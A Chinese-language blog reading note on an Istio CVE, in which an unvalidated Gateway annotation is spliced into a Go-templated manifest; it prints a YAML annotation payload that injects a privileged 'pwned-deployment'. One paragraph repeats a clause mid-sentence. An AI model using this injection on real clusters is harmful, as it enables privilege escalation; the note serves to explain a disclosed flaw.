0%

閱讀筆記: 「istio 下因為YAML 與 Go template 結合產生的 CVE」

標題: 「istio 下因為YAML 與 Go template 結合產生的 CVE」
類別: others
連結: https://paper.seebug.org/1882/

熟悉 Kubernetes 的使用者一定對於各式各樣的資源格式感到不陌生,譬如描寫一個 Pod 需要準備些關於 containers 的基本資料,其餘還有 Label, Annotation 等
各種資料需要填寫。

Kubernetes 內透過 apimachinery 的方式來驗證每個欄位是不是合法,譬如最常見的就是創建資源名稱時有時候會因為等出現格式不符合,準確來說是 Pod 的方式來驗證每個欄位是不是合法,譬如最常見的就是創建資源名稱時有時候會因為等出現格式不符合,準確來說是
透過 DNS RFC 1123 來驗證 Pod 是否合法。
部分的數值資料可能會於 Controller 中額外去檢查,至於自定義的 CRD(Customer Resource Definition) 則是創建時可以透過 openAPIV3Schema 去定義每個欄位的合法數值。

今天這篇文章要介紹的問題是跟 istio 環境的問題,當使用者創建一個名為 Gateway 的資源到叢集中時, istio 會去讀取該 Gateway 資料並且轉換為 Service/Deployment 兩個底層資源。
作者仔細研究發現創建 Service 時會從 Gateway 中的 Annotation 找到名為 “networking.istio.io/service-type” 的資料,並用其作為 Serivce 的 type.

然而 Annotation 的數值沒有並沒有任何檢查機制,所以使用者可以於該欄位 “networking.istio.io/service-type” 填入各種數值,因此作者就嘗試撰寫一個非常長的 Annotation,譬如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
annotations:
networking.istio.io/service-type: |-
"LoadBalancer"
apiVersion: apps/v1
kind: Deployment
metadata:
name: pwned-deployment
namespace: istio-ingress
spec:
selector:
matchLabels:
app: nginx
replicas: 1
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:1.14.3
ports:
- containerPort: 80
securityContext:
privileged: true

結果非常順利的, isio 最終創造了一個作者故意描述的 deployment,而該 deployment 還特別的設定 privileged: true 的選項並且透過這次的測試證明該 YAML 的檢查問題導致使用者有機會插入任何想要的資源到環境中
對本文有興趣的可以觀看一下

個人資訊

我目前於 Hiskio 平台上面有開設 Kubernetes 相關課程,歡迎有興趣的人參考並分享,裡面有我從底層到實戰中對於 Kubernetes 的各種想法

詳細可以參閱
線上課程詳細資訊: https://course.hwchiu.com/

另外,歡迎按讚加入我個人的粉絲專頁,裡面會定期分享各式各樣的文章,有的是翻譯文章,也有部分是原創文章,主要會聚焦於 CNCF 領域
https://www.facebook.com/technologynoteniu

如果有使用 Telegram 的也可以訂閱下列頻道來,裡面我會定期推播通知各類文章
https://t.me/technologynote

你的捐款將給予我文章成長的動力

Welcome to my other publishing channels